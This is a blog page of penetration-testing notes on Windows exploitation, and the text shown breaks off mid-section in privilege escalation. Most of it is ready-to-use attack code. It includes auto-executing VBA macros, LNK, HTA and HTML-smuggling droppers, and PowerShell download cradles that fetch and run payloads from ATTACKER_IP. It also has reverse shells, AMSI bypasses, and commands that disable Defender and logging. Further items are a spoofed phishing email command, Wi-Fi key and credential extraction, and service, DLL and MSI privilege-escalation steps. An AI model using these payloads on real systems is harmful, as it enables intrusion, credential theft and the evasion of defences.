Skip to main content
Background Image

VAPT Notes (Windows Exploitation & Privilege Escalation)

7031 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Windows Exploitation & Privilege Escalation
#

Environment Setup
#

# Essential Variables - Set these at the beginning of your engagement
export TARGET_IP="10.10.10.100"           # Primary target IP
export TARGET_NETWORK="10.10.10.0/24"     # Target network CIDR
export DC_IP="10.10.10.1"                 # Domain Controller IP
export LOCAL_ATTACKER_IP="10.10.14.5"     # Your attacking machine IP
export LOCAL_ATTACKER_PORT="443"          # Your listener port
export DOMAIN="corp.local"                 # Target domain name

Initial Access
#

VBA Payloads
#

' VBA Macro with auto-execution
Sub AutoOpen()
    ExecutePayload
End Sub

Sub Document_Open()
    ExecutePayload
End Sub

Sub Workbook_Open()
    ExecutePayload
End Sub

Sub ExecutePayload()
    ' Basic obfuscated PowerShell download cradle
    Dim str As String
    str = "powershell -nop -w hidden -ep bypass -c ""IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"""
    Shell str, vbHide
End Sub

' VBA with error handling and obfuscation
Sub AutoOpen()
    On Error Resume Next
    Dim obj As Object
    Set obj = CreateObject("WScript.Shell")
    
    ' Split command to avoid static detection
    Dim cmd1, cmd2, cmd3 As String
    cmd1 = "powershell -ExecutionPolicy Bypass "
    cmd2 = "-WindowStyle Hidden -Command "
    cmd3 = """IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/stage1.ps1')"""
    
    obj.Run cmd1 & cmd2 & cmd3, 0, False
End Sub

' VBA with AMSI bypass (VBA doesn't trigger AMSI but PowerShell does)
Sub AutoOpen()
    Dim cmd As String
    ' Base64 encode payload to avoid signature detection
    cmd = "powershell -enc " & EncodePayload()
    CreateObject("WScript.Shell").Run cmd, 0
End Sub

Function EncodePayload() As String
    ' Return base64 encoded PowerShell command
    EncodePayload = "SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0..."
End Function

' Modern VBA with WMI execution (more stealthy)
Sub AutoOpen()
    Dim objWMI As Object
    Dim objProcess As Object
    Dim strCommand As String
    
    strCommand = "powershell -w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1 -UseBasicParsing)"
    
    Set objWMI = GetObject("winmgmts:\\.\root\cimv2")
    Set objProcess = objWMI.Get("Win32_Process")
    objProcess.Create strCommand
End Sub
# Generate VBA payload with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=ATTACKER_IP LPORT=443 -f vba-psh

# Generate Office document with macros using MSFVenom
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f vba

# Alternative: Use macro_pack
echo "powershell -w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1)" | macro_pack.exe -G malicious.docm

# Email delivery with swaks
swaks --to victim@company.com \
      --from admin@company.com \
      --header "Subject: Q4 Budget Review - Action Required" \
      --body "Please review the attached quarterly report by EOD." \
      --attach quarterly_report.docm \
      --server mail.company.com \
      --auth-user user@company.com \
      --auth-password pass

LNK Payload
#

# PowerShell script to create malicious LNK
$objShell = New-Object -ComObject WScript.Shell
$lnkFile = $objShell.CreateShortcut("C:\Temp\Invoice.lnk")
$lnkFile.TargetPath = "powershell.exe"
$lnkFile.Arguments = "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')`""
$lnkFile.IconLocation = "%SystemRoot%\System32\shell32.dll,3"
$lnkFile.Save()

# Using LNKUp (creates LNK with embedded payload)
python lnkup.py --host ATTACKER_IP --port 4444 --output Proposal.lnk

# LNK with COM object abuse (bypasses some detections)
# Target: C:\Windows\System32\cmd.exe
# Arguments: /c start /b powershell -w hidden -c IEX(IWR http://ATTACKER_IP/s.ps1)

HTA Application
#

<!-- Modern HTA with obfuscation -->
<html>
<head>
<HTA:APPLICATION id="app" applicationName="System Update" border="none" showInTaskbar="no"/>
<script language="VBScript">
    Set objShell = CreateObject("WScript.Shell")
    ' Obfuscated command
    cmd = "p" & "ow" & "ersh" & "ell -w hidd" & "en -c IEX(IWR http://ATTACKER_IP/p.ps1)"
    objShell.Run cmd, 0, False
    window.close()
</script>
</head>
</html>

<!-- HTA with ActiveX fallback -->
<html>
<head>
<script>
try {
    var sh = new ActiveXObject("WScript.Shell");
    sh.Run("powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/stager.ps1')", 0, false);
} catch(e) {
    var shell = new ActiveXObject("Shell.Application");
    shell.ShellExecute("powershell", "-w hidden -c IEX(IWR http://ATTACKER_IP/s.ps1)", "", "", 0);
}
window.close();
</script>
</head>
</html>
# Deliver HTA via web server
python3 -m http.server 80

# Execute HTA remotely
mshta http://ATTACKER_IP/payload.hta
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -c IEX(IWR http://ATTACKER_IP/p.ps1)"", 0 : window.close")

HTML Smuggling
#

<!-- Modern HTML smuggling with ISO payload -->
<!DOCTYPE html>
<html>
<head>
<script>
function download() {
    // Base64 encoded payload (ISO/ZIP/EXE)
    var file = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...";
    
    var blob = new Blob([atob(file)], {type: 'application/octet-stream'});
    var link = document.createElement("a");
    link.href = URL.createObjectURL(blob);
    link.download = "Document_Q4_2024.iso";
    document.body.appendChild(link);
    link.click();
    document.body.removeChild(link);
}

// Auto-download on page load
window.onload = function() {
    setTimeout(download, 1000);
};
</script>
</head>
<body>
<h1>Document Loading...</h1>
<p>Your file will download automatically.</p>
</body>
</html>

<!-- HTML smuggling with encryption -->
<script>
// XOR encrypted payload
var key = 0x42;
var encrypted = [0x1C, 0x23, 0x68, ...]; // Encrypted bytes
var decrypted = encrypted.map(byte => byte ^ key);
var blob = new Blob([new Uint8Array(decrypted)], {type: 'application/x-msdownload'});
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = 'update.exe';
a.click();
</script>

ISO/IMG Container Payloads
#

# Create ISO with malicious payload (bypasses Mark of the Web)
# On Linux
mkdir iso_contents
cp payload.exe iso_contents/document.exe
genisoimage -o malicious.iso iso_contents/
# Or
mkisofs -o malicious.iso iso_contents/

# On Windows with PowerShell
$isoPath = "C:\Temp\malicious.iso"
$folderPath = "C:\Temp\iso_contents"
$fsi = New-Object -ComObject IMAPI2FS.MsftFileSystemImage
$fsi.ChooseImageDefaultsForMediaType(12) # ISO9660
$fsi.FileSystemsToCreate = 3 # UDF + Joliet
$fsi.VolumeName = "Documents"
$fsi.Root.AddTree($folderPath, $false)
$resultImage = $fsi.CreateResultImage()
$resultStream = $resultImage.ImageStream
[System.IO.File]::WriteAllBytes($isoPath, $resultStream)

PowerShell Payloads
#

# === BASIC REVERSE SHELLS ===

# Simple reverse shell
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

# One-liner reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# === ENCODED COMMANDS ===

# Create encoded command
$command = "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encodedCommand

# Base64 encode script
$script = Get-Content .\payload.ps1 -Raw
$bytes = [System.Text.Encoding]::Unicode.GetBytes($script)
$encoded = [Convert]::ToBase64String($bytes)
powershell -enc $encoded

# === DOWNLOAD CRADLES (Modern) ===

# IEX with WebClient (classic)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payload.ps1')

# Invoke-WebRequest (PowerShell 3.0+)
IEX(IWR http://ATTACKER_IP/payload.ps1 -UseBasicParsing)

# DownloadData method
$data = (New-Object Net.WebClient).DownloadData('http://ATTACKER_IP/payload.ps1')
$script = [System.Text.Encoding]::ASCII.GetString($data)
IEX $script

# BitsTransfer (slower but stealthier)
Import-Module BitsTransfer
Start-BitsTransfer -Source http://ATTACKER_IP/payload.ps1 -Destination $env:TEMP\p.ps1
IEX (Get-Content $env:TEMP\p.ps1 -Raw)

# COM object download (alternative)
$wc = [activator]::CreateInstance([type]::GetTypeFromProgID("Microsoft.XMLHTTP"))
$wc.open("GET","http://ATTACKER_IP/payload.ps1",$false)
$wc.send()
IEX $wc.responseText

# === ALTERNATIVE EXECUTION METHODS ===

# WMI execution
wmic process call create "powershell -nop -w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1 -UseBasicParsing)"

# CIM (modern WMI)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="powershell -c IEX(IWR http://ATTACKER_IP/p.ps1)"}

# Scheduled task execution
schtasks /create /tn "Update" /tr "powershell -w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1)" /sc once /st 00:00
schtasks /run /tn "Update"

# === FILE DOWNLOAD METHODS ===

# Certutil (commonly monitored)
certutil -urlcache -f http://ATTACKER_IP/payload.exe C:\Windows\Temp\payload.exe

# PowerShell download file
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP/payload.exe','C:\Temp\payload.exe')
Invoke-WebRequest -Uri http://ATTACKER_IP/payload.exe -OutFile C:\Temp\payload.exe

# BitsTransfer download
Import-Module BitsTransfer
Start-BitsTransfer -Source http://ATTACKER_IP/nc.exe -Destination C:\Temp\nc.exe

# === MSHTA EXECUTION ===

# Remote HTA
mshta http://ATTACKER_IP/shell.hta

# Inline VBScript
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -w hidden -c IEX(IWR http://ATTACKER_IP/p.ps1)"":Close")

# JavaScript execution
mshta javascript:a=GetObject("script:http://ATTACKER_IP/payload.sct").Exec();close()

# === AMSI BYPASS ===

# Basic AMSI bypass (obfuscate this heavily)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Alternative AMSI bypass
$a=[Ref].Assembly.GetTypes();ForEach($b in $a){if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d){if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)

# Memory patch method
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[System.Runtime.InteropServices.Marshal]::WriteByte($mem, 0xB8)
[System.Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($mem, 1), 0x57)

# === DEFENSE EVASION ===

# Disable Windows Defender Real-Time Protection (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true

# Add exclusion path
Add-MpPreference -ExclusionPath "C:\Temp"

# Disable script block logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0

# Disable transcription
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 0

Windows Enumeration
#

# === BASIC SYSTEM INFORMATION ===

# System info (comprehensive)
systeminfo
Get-ComputerInfo
Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, OSArchitecture

# Hostname and domain
hostname
$env:COMPUTERNAME
$env:USERDOMAIN

# Current user context
whoami
whoami /all
whoami /priv
whoami /groups
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name

# OS version details
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | Select-Object ProductName, CurrentBuildNumber, ReleaseId

# Architecture
[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
wmic os get osarchitecture

# Installed updates and patches
Get-HotFix | Sort-Object InstalledOn -Descending
wmic qfe list brief /format:table

# Windows features
Get-WindowsFeature | Where-Object {$_.InstallState -eq "Installed"}
Get-WindowsOptionalFeature -Online | Where-Object {$_.State -eq "Enabled"}

# Environment variables
Get-ChildItem Env: | Format-Table -AutoSize
[Environment]::GetEnvironmentVariables()
$env:PATH -split ';'

# PowerShell version
$PSVersionTable
Get-Host | Select-Object Version

# .NET version
[System.Environment]::Version
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse | Get-ItemProperty -Name version -EA 0 | Where-Object { $_.PSChildName -Match '^(?!S)\p{L}'} | Select-Object PSChildName, version

# Time and timezone
Get-Date
Get-TimeZone
w32tm /query /status

# System uptime
(Get-Date) - (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
net statistics workstation | find "Statistics"

# === USER & GROUP ENUMERATION ===

# Local users
net users
Get-LocalUser
Get-CimInstance Win32_UserAccount -Filter "LocalAccount='True'"

# Current user details
net user $env:USERNAME
Get-LocalUser -Name $env:USERNAME

# Local administrators
net localgroup administrators
Get-LocalGroupMember -Group "Administrators"

# All local groups
net localgroup
Get-LocalGroup

# Group membership
net user $env:USERNAME
Get-LocalGroupMember -Member $env:USERNAME

# Domain users (if domain-joined)
net users /domain
net user <username> /domain
Get-ADUser -Filter * -Properties *  # Requires RSAT

# Domain groups
net group /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
Get-ADGroup -Filter * | Select-Object Name

# Domain controller info
nltest /dclist:$env:USERDOMAIN
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers

# Forest and domain info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Logged on users
query user
qwinsta
Get-CimInstance Win32_LoggedOnUser | Select-Object Antecedent -Unique

# Recent user activity
Get-EventLog -LogName Security -Newest 100 | Where-Object {$_.EventID -eq 4624}

# === NETWORK ENUMERATION ===

# IP configuration
ipconfig /all
Get-NetIPConfiguration
Get-NetIPAddress

# Routing table
route print
Get-NetRoute | Format-Table -AutoSize

# ARP cache
arp -a
Get-NetNeighbor

# DNS cache
ipconfig /displaydns
Get-DnsClientCache

# Network connections
netstat -ano
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess
Get-NetUDPEndpoint | Select-Object LocalAddress, LocalPort, OwningProcess

# Active connections with process names
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}, OwningProcess | Format-Table -AutoSize

# Network shares
net share
Get-SmbShare
Get-SmbMapping  # Mounted shares

# SMB sessions
Get-SmbSession

# Hosts file
type C:\Windows\System32\drivers\etc\hosts
Get-Content C:\Windows\System32\drivers\etc\hosts

# Network adapters
ipconfig /all
Get-NetAdapter | Format-Table -AutoSize
Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}

# Wireless networks
netsh wlan show profiles
netsh wlan show profile name="SSID_NAME" key=clear

# Firewall status
netsh advfirewall show allprofiles
Get-NetFirewallProfile
Get-NetFirewallRule | Where-Object {$_.Enabled -eq $true}

# Firewall rules
netsh advfirewall firewall show rule name=all
Get-NetFirewallRule | Where-Object {$_.Direction -eq "Inbound" -and $_.Action -eq "Allow"}

# Proxy settings
netsh winhttp show proxy
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" | Select-Object ProxyEnable, ProxyServer

# === PROCESS ENUMERATION ===

# All processes
Get-Process | Format-Table -AutoSize
Get-CimInstance Win32_Process | Select-Object ProcessId, Name, CommandLine
tasklist /v

# Processes with full path
Get-Process | Select-Object Id, ProcessName, Path, Company

# Processes running as SYSTEM
Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*SYSTEM*"}

# Processes with network connections
Get-Process | Where-Object {(Get-NetTCPConnection -OwningProcess $_.Id -EA SilentlyContinue)}

# Process tree
Get-Process | Select-Object Name, Id, @{Name="ParentProcess";Expression={(Get-Process -Id $_.Parent.Id -EA SilentlyContinue).Name}}

# DLL loaded by process
Get-Process | Select-Object -ExpandProperty Modules | Select-Object ModuleName, FileName -Unique

# Specific process details
Get-Process -Name <processname> | Select-Object *

# === SERVICE ENUMERATION ===

# All services
Get-Service
sc query
Get-CimInstance Win32_Service | Select-Object Name, DisplayName, State, StartMode, PathName

# Running services
Get-Service | Where-Object {$_.Status -eq "Running"}
sc query type= service state= all

# Service details
sc qc <servicename>
Get-Service -Name <servicename> | Select-Object *
Get-CimInstance Win32_Service -Filter "Name='servicename'" | Select-Object *

# Services with non-standard paths
Get-CimInstance Win32_Service | Where-Object {$_.PathName -notlike "*system32*"} | Select-Object Name, PathName, StartMode

# Services running as specific user
Get-CimInstance Win32_Service | Where-Object {$_.StartName -notlike "*LocalSystem*"} | Select-Object Name, StartName, State, PathName

# Unquoted service paths (privilege escalation vector)
Get-CimInstance Win32_Service | Where-Object {$_.PathName -notlike "*`"*" -and $_.PathName -like "* *"} | Select-Object Name, PathName, StartMode

# Service permissions
sc sdshow <servicename>
accesschk.exe -ucqv <servicename>  # Sysinternals

# === SCHEDULED TASKS ===

# All scheduled tasks
schtasks /query /fo LIST /v
Get-ScheduledTask
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"}

# Task details
schtasks /query /tn "TaskName" /fo LIST /v
Get-ScheduledTask -TaskName "TaskName" | Get-ScheduledTaskInfo

# Tasks running as SYSTEM
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Select-Object TaskName, TaskPath

# Tasks with writable paths
# Manual check required - inspect task actions for writable directories

# === STARTUP PROGRAMS ===

# Registry run keys
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce"

# WMI startup
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location, User

# Startup folder
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

# === INSTALLED SOFTWARE ===

# Installed programs (64-bit)
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate

# Installed programs (32-bit on 64-bit system)
Get-ItemProperty "HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate

# All installed software
Get-CimInstance Win32_Product | Select-Object Name, Version, Vendor

# Installed Windows updates
Get-HotFix | Select-Object HotFixID, InstalledOn, Description

# === DRIVER ENUMERATION ===

# Loaded drivers
driverquery /v
Get-WindowsDriver -Online -All

# Driver details
Get-CimInstance Win32_SystemDriver | Select-Object Name, DisplayName, PathName, State, StartMode

# Non-Microsoft drivers
Get-CimInstance Win32_SystemDriver | Where-Object {$_.PathName -notlike "*Microsoft*"} | Select-Object Name, PathName

# === ANTIVIRUS & SECURITY SOFTWARE ===

# Windows Defender status
Get-MpComputerStatus
Get-MpPreference

# Security Center products
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName FirewallProduct

# Windows Defender exclusions
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
Get-MpPreference | Select-Object -ExpandProperty ExclusionExtension
Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess

# AMSI providers
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers"

# AppLocker rules
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# === DISK & FILESYSTEM ===

# Disk information
Get-PSDrive
Get-Volume
wmic logicaldisk get name,description,filesystem,freespace,size

# Mounted volumes
mountvol

# Filesystem ACLs
icacls C:\Path\To\Check
Get-Acl C:\Path\To\Check | Format-List

# Interesting files
Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.xml,*.config,*.kdbx -Recurse -ErrorAction SilentlyContinue

# Search for files
Get-ChildItem -Path C:\Users -Include *password*,*cred*,*.kdbx -Recurse -ErrorAction SilentlyContinue

# Recently accessed files
Get-ChildItem -Path C:\Users -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastAccessTime -gt (Get-Date).AddDays(-7)} | Select-Object FullName, LastAccessTime

# === LOGGING & AUDITING ===

# Event log configuration
wevtutil el  # List all logs
Get-EventLog -List

# Recent security events
Get-EventLog -LogName Security -Newest 100
Get-WinEvent -LogName Security -MaxEvents 100

# PowerShell logging status
Get-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -ErrorAction SilentlyContinue
Get-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" -ErrorAction SilentlyContinue
Get-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -ErrorAction SilentlyContinue

# Audit policy
auditpol /get /category:*

# === CREDENTIAL LOCATIONS ===

# Credential Manager
cmdkey /list
vaultcmd /listcreds:"Windows Credentials"

# DPAPI credentials
ls "$env:APPDATA\Microsoft\Protect"
ls "$env:LOCALAPPDATA\Microsoft\Credentials"

# SAM and SYSTEM (requires SYSTEM)
reg query HKLM\SAM
reg query HKLM\SYSTEM

# === MISCELLANEOUS ===

# Clipboard contents
Get-Clipboard

# PowerShell history
Get-Content (Get-PSReadlineOption).HistorySavePath
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# Connected RDP sessions
qwinsta
query session

# SMB connections
net use
Get-SmbConnection

# Cached domain credentials
klist  # Kerberos tickets

Windows Privilege Escalation
#

# === AUTOMATED ENUMERATION TOOLS ===

# WinPEAS (most comprehensive)
# Download and run
IEX(New-Object Net.WebClient).DownloadString('https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe')
.\winPEASx64.exe

# Run specific checks
.\winPEASx64.exe quiet cmd fast
.\winPEASx64.exe systeminfo

# PowerUp (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

# Specific PowerUp checks
Get-UnquotedService
Get-ModifiableServiceFile
Get-ModifiableService
Get-ServiceUnquoted
Get-ModifiableScheduledTaskFile
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost

# PrivescCheck (modern alternative to PowerUp)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/itm4n/PrivescCheck/master/PrivescCheck.ps1')
Invoke-PrivescCheck -Extended

# Seatbelt (C# enumeration)
.\Seatbelt.exe -group=all
.\Seatbelt.exe -group=user
.\Seatbelt.exe -group=system

# SharpUp (C# port of PowerUp)
.\SharpUp.exe

# Watson (missing patches / CVE checker)
.\Watson.exe

# JAWS (Just Another Windows enum Script)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1')

# Windows Exploit Suggester (offline - run on attacker machine)
python windows-exploit-suggester.py --database 2024-01-15-mssb.xls --systeminfo systeminfo.txt

# === MANUAL PRIVILEGE ESCALATION CHECKS ===

# Check current privileges
whoami /priv

# Dangerous privileges to look for:
# SeImpersonatePrivilege - Potato attacks
# SeAssignPrimaryTokenPrivilege - Potato attacks  
# SeDebugPrivilege - Process injection, LSASS dumping
# SeBackupPrivilege - Read any file, registry
# SeRestorePrivilege - Write any file, registry
# SeTakeOwnershipPrivilege - Take ownership of files
# SeLoadDriverPrivilege - Load kernel drivers

# Check if user is in local admin group
net localgroup administrators
whoami /groups | findstr /i "admin"

# === SERVICE EXPLOITATION ===

# List all services
Get-CimInstance Win32_Service | Select-Object Name, DisplayName, PathName, StartMode, State

# Find services with unquoted paths containing spaces
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
Get-CimInstance Win32_Service | Where-Object {$_.PathName -notlike "*`"*" -and $_.PathName -like "* *" -and $_.StartMode -eq "Auto"} | Select-Object Name, PathName, StartMode

# Check service binary permissions
icacls "C:\Path\To\Service.exe"
Get-Acl "C:\Path\To\Service.exe" | Format-List

# Enumerate service permissions with accesschk
.\accesschk.exe /accepteula -uwcqv *
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *

# Check if we can modify service configuration
.\accesschk.exe /accepteula -ucqv <servicename>
sc qc <servicename>

# Modify service binary path (if we have permission)
sc config <servicename> binpath= "C:\Users\Public\rev.exe"
sc stop <servicename>
sc start <servicename>

# Modify service to run as SYSTEM
sc config <servicename> obj= "LocalSystem"

# Create new service (requires SeLoadDriverPrivilege or admin)
sc create MaliciousService binpath= "C:\Temp\payload.exe" start= auto
sc start MaliciousService

# === REGISTRY EXPLOITATION ===

# Check if we can modify service registry keys
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services
Get-Acl "HKLM:\System\CurrentControlSet\Services\<ServiceName>" | Format-List

# Modify service ImagePath via registry
reg add "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\payload.exe" /f
sc start <ServiceName>

# AlwaysInstallElevated check (MSI runs as SYSTEM)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Get-ItemProperty "HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue

# If both return 1, create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o exploit.msi

# Install MSI with elevated privileges
msiexec /quiet /qn /i C:\Temp\exploit.msi

# Autorun registry keys (persistence + privesc if key is writable)
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# === DLL HIJACKING ===

# Find missing DLLs loaded by services/applications
# Use Process Monitor (procmon) to identify missing DLLs

# Check DLL search order
# 1. Application directory
# 2. System directory (C:\Windows\System32)
# 3. 16-bit system directory (C:\Windows\System)
# 4. Windows directory (C:\Windows)
# 5. Current directory
# 6. PATH directories

# Generate malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f dll -o evil.dll

# Place DLL in writable location in search order
copy evil.dll "C:\Program Files\Vulnerable App\missing.dll"

# Restart service or wait for application to load
sc stop VulnService
sc start VulnService

# === WEAK FILE PERMISSIONS ===

# Find writable directories in Program Files
Get-ChildItem "C:\Program Files" -Recurse -ErrorAction SilentlyContinue | Get-Acl | Where-Object {$_.AccessToString -match "Everyone.*Allow.*FullControl|Users.*Allow.*FullControl"}

# Check service binary permissions
icacls "C:\Program Files\Vulnerable Service\service.exe"

# If writable, replace with malicious binary
copy /Y payload.exe "C:\Program Files\Vulnerable Service\service.exe"
sc stop VulnService
sc start VulnService

# Find writable files in system directories
Get-ChildItem C:\Windows -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.PSIsContainer -eq $false} | Get-Acl | Where-Object {$_.AccessToString -match "Everyone.*Allow.*Modify|Users.*Allow.*Modify"}

# === SCHEDULED TASKS ===

# List all scheduled tasks
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"}

# Check task file permissions
icacls "C:\Path\To\TaskScript.bat"

# If task runs as SYSTEM and file is writable
echo C:\Temp\payload.exe > "C:\Path\To\TaskScript.bat"

# Or create new scheduled task (requires admin)
schtasks /create /tn "WindowsUpdate" /tr "C:\Temp\payload.exe" /sc onlogon /ru SYSTEM

# Run task immediately
schtasks /run /tn "TaskName"

# === POTATO ATTACKS (SeImpersonatePrivilege) ===

# Check for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
whoami /priv | findstr /i "SeImpersonate SeAssignPrimaryToken"

# JuicyPotato (Windows Server 2008-2016)
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Temp\rev.exe" -t *
